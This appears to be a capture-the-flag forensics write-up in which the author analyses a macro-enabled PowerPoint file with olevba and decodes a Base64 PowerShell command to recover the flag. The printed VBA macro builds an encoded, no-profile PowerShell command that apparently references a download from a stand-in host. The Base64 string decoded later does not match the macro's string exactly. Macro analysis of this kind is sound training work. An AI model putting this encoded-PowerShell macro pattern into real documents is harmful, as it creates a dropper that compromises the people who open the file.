NAS Coal

Category: Forensics
Points: 238
  • Found a .pptm file named gem_collection.pptm, which is a macro-enabled PowerPoint file.
  • To analyze macro-enabled files, we need a tool https://github.com/decalage2/oletools
  • Let's install it.
1pip install oletools[full] --break-system-packages
  • Now, let's run it on the target PPTM file.
1olevba gem_collection.pptm
Result:
1Public Sub RefreshCache()
2
3    Dim encoded As String
4
5    Dim commandLine As String
6
7    encoded = "JABjAGEAbQBwAGEAaQBnAG4AIAA9ACAAJwBzAHUAbgB7AHkAdQBwAF8AaQBzAHMAYQBfAGcAZQBtAH0AJwANAAoAJABzAG8AdQByAGMAZQAgAD0AIAAnAGh0AHQAcABzADoALwAvAGcAZQBtAC0AYwBhAGMAaABlAC4AZQB4AGEAbQBwAGwAZQAuAGkAbgB2AGEAbABpAGQALwBjAG8AYQBsAC4AYgBpAG4AJwANAAoAJABkAGUAcwB0AGkAbgBhAHQAaQBvAG4AIAA9ACAAJwBjAG8AYQBsAC4AYgBpAG4AJwANAAoAWwBwAHMAcwB1AHMAdABvAG0AbwBiAGoAZQBjAHQAXQBAAHsATwBwAGUAcgBhAHQAaQBvAG4APQAnAGQAbwB3AG4AbABvAGEAZAAnADsAIABDAGEAbQBwAGEAaQBnAG4APQAkAGMAYQBtAHAAYQBpAGcAbgA7ACAAUwBvAHUAcgBjAGUAPQAkAHMAbwB1AHIAYwBlADsAIABEAGUAcwB0AGkAbgBhAHQAaQBvAG4APQAkAGQAZQBzAHQAaQBuAGEAdABpAG8AbgB9AA0ACgA="
8
9    commandLine = "powershell.exe -NoProfile -EncodedCommand " & encoded
10
11    Debug.Print commandLine
12
13End Sub
14
15+----------+--------------------+---------------------------------------------+
16| Type     | Keyword            | Description                                  |
17+----------+--------------------+---------------------------------------------+
18| Suspicious | powershell       | May run PowerShell commands                  |
19| Suspicious | NoProfile        | May run PowerShell commands                  |
20| Suspicious | EncodedCommand   | May run PowerShell commands                  |
21| Suspicious | Hex Strings      | Hex-encoded strings were detected, may be    |
22|           |                    | used to obfuscate strings (option --decode to|
23|           |                    | see all)                                     |
24| Suspicious | Base64 Strings   | Base64-encoded strings were detected, may be |
25|           |                    | used to obfuscate strings (option --decode to|
26|           |                    | see all)                                     |
27| IOC       | powershell.exe    | Executable file name                         |
28+----------+--------------------+---------------------------------------------+
  • We found a Base64-encoded string.
  • Let's decode it.
1echo 'JABjAGEAbQBwAGEAaQBnAG4AIAA9ACAAJwBzAHUAbgB7AHkAdXBfAGkAcwBzAGEAXwBnAGUAbQB9ACcADQAKACQAcwBvAHUAcgBjAGUAIAA9ACAAJwBodHRwczovL2dlbS1jYWNoZS5leGFtcGxlLmludmFsaWQvY29hbC5iaW4nDQAKACQAZABlAHMAdABpAG4AYQB0AGkAbwBuACAAPQAgACdjb2FsLmJpbicNCgBbAHBzAHN1c3RvbW9iamVjdF1AewBPcGVyYXRpb249J2Rvd25sb2FkJzsgQ2FtcGFpZ249JABjAGEAbQBwAGEAaQBnAG4AOwAgAFMAb3VyAGMAZQA7IERlc3RpbmF0aW9uPSRkAGUAcwB0AGkAbgBhAHQAaQBvAG4AfQ0K' | base64 -d
Result:
1$campaign = 'sun{yup_issa_gem}'
  • We found the flag.

Flag

1sun{yup_issa_gem}

References

Article:
Malicious Macros Detection in MS Office Files Using Olevba
Tool:
https://github.com/decalage2/oletools